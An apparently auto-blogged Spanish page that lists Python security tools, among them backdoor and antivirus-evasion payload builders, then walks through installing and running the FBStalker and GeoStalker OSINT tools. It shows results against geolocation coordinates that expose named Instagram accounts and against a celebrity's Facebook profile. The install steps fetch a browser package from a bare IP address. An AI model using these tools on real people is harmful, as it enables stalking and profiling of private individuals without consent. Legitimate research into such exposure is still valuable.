Noriben: script que funciona en conjunción con Procmon de Sysinternals para analizar malware en sandbox. s7-brute-offline.py: herramienta que que puede realizar ataques off-line de fuerza bruta contra controladores lógicos programables (PLCs) Siemens. The Backdoor Factory: un interesante script en Python para "backdoorizar" ejecutables y librerías de Windows (Win32 PE). Tiny SHell: el clásico backdoor de código abierto en Python de Christophe DevineTinySHell bajo SCTP: un backdoor de Unix un poquito más indetectable Veil: herramienta escrita en Python por Christopher Truncer para crear payloads de Metasploit capaces de evadir la mayoría de los antivirus.virustotal-search.py: script para automatizar desde la línea de comandos el análisis de una muestra de malware a través del conocido servicio de multiAV de Virustotal.
aft: Android forensic toolkitFBStalker y GeoStalker: herramienta OSINT para Facebook y fuentes de geolocalización - Flickr, Instagram, Twitter, Wigle. Los ID de usuario encontrados son utilizados para encontrar cuentas de redes sociales a través de otras redes como Facebook, Youtube, Instagram, Google+, Linkedin y Google Search Grampus: herramienta multiplataforma de extracción de metadatos y footprinting, algo así como una FOCA en python y de código abierto. LibForensics: librería para desarrollar aplicaciones forenses digitales sqlparse.py: parser para recuperar datos borrados de bases de datos SQLite TrIDLib: identifica los tipos de archivo de sus firmas binarias. Ahora incluye Python bindingVolatility: extrae y analiza artefactos digitales de la memoria volátil (RAM) 

Exefilter: filtra formatos de archivo en mensajes de correo electrónico, páginas web o archivos. Detecta muchos formatos de archivo comunes y puede eliminar contenido.OS X Auditor: herramienta gratuita de análisis forense para Mac OS X. phoneyc: implementacion de honeyclient totalmente escrito en python pyew: editor hexadecimal y desensamblador en línea de comandos, principalmente usado para analizar malwarepyClamAV:  añade capacidades de detección de virus para tu software PythonpyMal: framework para análisis de malware basada en Pefile, Pydbg y Volatility.  jsunpack-n: unpacker de JavaScript genérico: emula la funcionalidad del navegador para detectar exploits dirigidos a explotar vulnerabilidades en navegadores y pluginsyara-python: identifica y clasifica muestras de malware

Didier Stevens' PDF tools: analiza, identifica y crea ficheros PDF (incluye PDFiD, pdf-parser, make-pdf y mPDF)Opaf: Open Framework Analysis PDF . Convierte PDF a un árbol XML que puede ser analizado y modificado.Origapy: wrapper de Python para el módulo de Ruby Origami que desinfecta archivos PDFPDFMiner: extrae texto de ficheros PDF  pyPDF: Python PDF toolkit: extrae info, corta, une, cifra, descifra...python-poppler-qt4: une Python con la librería Poppler PDF, incluyendo soporte Qt4

Exomind: para la creación de gráficos y el desarrollo de módulos de inteligencia de código abierto, centrada en servicios de redes sociales, motores de búsqueda y mensajería instantáneaHachoir: permite ver y editar un stream binario campo por campo InlineEgg: toolbox de clases para escribir pequeños programas en PythonPyMangle: herramienta de línea de comandos y una biblioteca de Python utilizada para crear listas de palabras para su uso con otras herramientas de pruebas de intrusión RevHosts: enumera los virtual hosts de una dirección IP dadasimplejson: JSON encoder/decoder, para por ej. usar Google's AJAX API

Beautiful Soup: HTML parser optimizado para screen-scraping IPython: shell Python interactivo y mejorado con algunas características para la introspección de objetos, acceso a una consola del sistema y su propio sistema especial de comandos lxml: librería más rica en características y fácil de usar para trabajar con XML y HTMLM2Crypto: wrapper OpenSSL más completomatplotlib: construye gráficos 2D de matricesMayavi: 3D de visualización de datos científicos y plottingNetworkX: librería gráfica (bordes, nodos)Pandas: librería que proporciona mayor rendimiento y mayor facilidad de uso para analizar estructuras de datos de alto rendimiento y herramientas de análisis de datosPexpect: controla y automatiza otros programas, similar al sistema Don Libes `ExpectPyQt y PySide: Python bindings para el framework Qt y librería GUI pyparsing: módulo de parsing generalRTGraph3D: crea gráficos dinámicos en 3DSikuli, tecnología visual para buscar y automatizar interfaces gráficas de usuario con capturas de pantalla. Programable en Jython Suds:  cliente SOAP ligero para servicios Web Twisted: motor de creación de redes basada en eventosWhoosh: rápido, con muchas características de indexación de texto completo y búsqueda de librería implementado en Python

View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

FBStalker y GeoStalker, dos herramientas para analizar tu vida privada

Yo sé qué si estáis leyendo esta entrada en este blog teneis en especial consideración la seguridad informática y sois extremadamente cuidadosos con la configuración de la privacidad de vuestras cuentas como la de Facebook... 

...pero has de saber que sólo necesitas tener un amigo "descuidado" para abrir el camino hacia una gran cantidad de información sobre tu vida privada. 

Con FBStalker y GeoStalker, herramientas de inteligencia de código abierto (OSINT) para minería de datos, se facilita mucho este proceso y, como comentamos, es posible aprovecharse de uno sólo de tus amigos imprudentes para conseguir tener mucha información sensible y un auténtico esquema de tu vida personal.

Estas herramientas fueron presentadas (pdf) por Keith Lee y Jonathan Werrett de SpidersLabs en la última conferencia Hack in the Box en Kuala Lumpur. Ambos demostraron cómo utilizar Facebook Graph con otras fuentes como LinkedIn, Flickr, Instagram y Twitter para recolectar información sobre una objetivo, como lugares y sitios web visitados con regularidad, el trabajo, la escuela o los amigos on-line y mostrar los datos en Google Maps.

En nuestro ejemplo lo probaremos en Kali Linux (32 bit). Para ello, empezaremos instalando Chrome y su driver correspondiente:

wget http://95.31.35.30/chrome/pool/main/g/google-chrome-stable/google-chrome-stable_27.0.1453.93-r200836_i386.deb
dpkg -i google-chrome-stable_27.0.1453.93-r200836_i386.deb

wget https://chromedriver.googlecode.com/files/chromedriver_linux32_23.0.1240.0.zip
unzip chromedriver_linux32_23.0.1240.0.zip
cp chromedriver /usr/bin/chromedriver
chmod 777 /usr/bin/chromedriver

Después instalamos los paquetes de python necesarios:

sudo apt-get install python-setuptools
wget https://pypi.python.org/packages/source/p/pip/pip-1.4.1.tar.gz
tar xvfz pip-1.4.1.tar.gz
cd pip-1.4.1
sudo python2.7 setup.py install

pip install pytz
pip install tzlocal
pip install termcolor
pip install selenium
pip install requests --upgrade
pip install beautifulsoup4

git clone https://github.com/hadim/pygraphml.git
cd pygraphml
python2.7 setup.py install

pip-2.7 install google
pip-2.7 install python-instagram
pip-2.7 install pygoogle
pip-2.7 install geopy
pip-2.7 install lxml
pip-2.7 install oauth2
pip-2.7 install python-linkedin
pip-2.7 install pygeocoder
pip-2.7 install selenium
pip-2.7 install termcolor
pip-2.7 install pysqlite
pip-2.7 install TwitterSearch
pip-2.7 install foursquare

wget https://gdata-python-client.googlecode.com/files/gdata-2.0.18.tar.gz
tar xvfz gdata-2.0.18.tar.gz
cd gdata-2.0.18
python2.7 setup.py install

Finalmente descargamos los scripts correspondientes a ambas herramientas:

cd
wget https://raw.github.com/milo2012/osintstalker/master/fbstalker1.py
wget https://raw.github.com/milo2012/osintstalker/master/geostalker.py

Ahora antes de utilizar cualquiera de los dos scripts debemos editarlos y añadir información de nuestra cuentas (usuarios, contraseñas o tokens)

root@kali:~# vi fbstalker1.py

facebook_username = ""
facebook_password = ""

#Gmail
google_username = ""
google_password = ""
google_drive_collection = "kkk"

#Instagram
#http://instagram.com/developer/register/
instagram_client_id = ""
instagram_client_secret = ""
instagram_access_token = ""

#Foursquare
foursquare_client_id = ""
foursquare_client_secret = ""
foursquare_access_token = ""

#Linkedin
...

Y por fin llegamos a lo divertido. Por ejemplo, vemos la actividad alrededor de unas coordenadas de ejemplo:

root@kali:~# sudo python2.7 geostalker.py -location 4.237588,101.131332

[*] Downloading Instagram Data based on Geolocation
[*] Found http://instagram.com/w3ndy    (4.244855271,101.131421276)
[*] Found http://instagram.com/w3ndy    (4.244901804,101.131402526)
[*] Found http://instagram.com/w3ndy    (4.245,101.131666667)
[*] Found http://instagram.com/jayshraj2003    (4.245109112,101.131786781)
[*] Found http://instagram.com/jayshraj2003    (4.245241754,101.131453847)
[*] Found http://instagram.com/jayshraj2003    (4.245279049,101.131642412)
...
...


Y para acabar ... que me perdone Cristiano porque no he podido resistirme ;)

root@kali:~# mkdir Irina
root@kali:~# cd Irina
root@kali:~# sudo python2.7 fbstalker1.py -user 'IrinaShayk'
[*] Username:    IrinaShayk
[*] Uid:    341875219865
[*] Caching Facebook Apps Used By: IrinaShayk

[*] Caching Pages Liked By: IrinaShayk
[*] Writing 8 record(s) to database table: pagesLiked
[*] Caching Videos Liked By: IrinaShayk
[*] Writing 3 record(s) to database table: videosBy
[*] Caching Photos Of: IrinaShayk
[*] Caching Photo Page: 10150637269859866
[*] Caching Photo Page: 10151479413524866
[*] Caching Photo Page: 10151470788269866
...


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.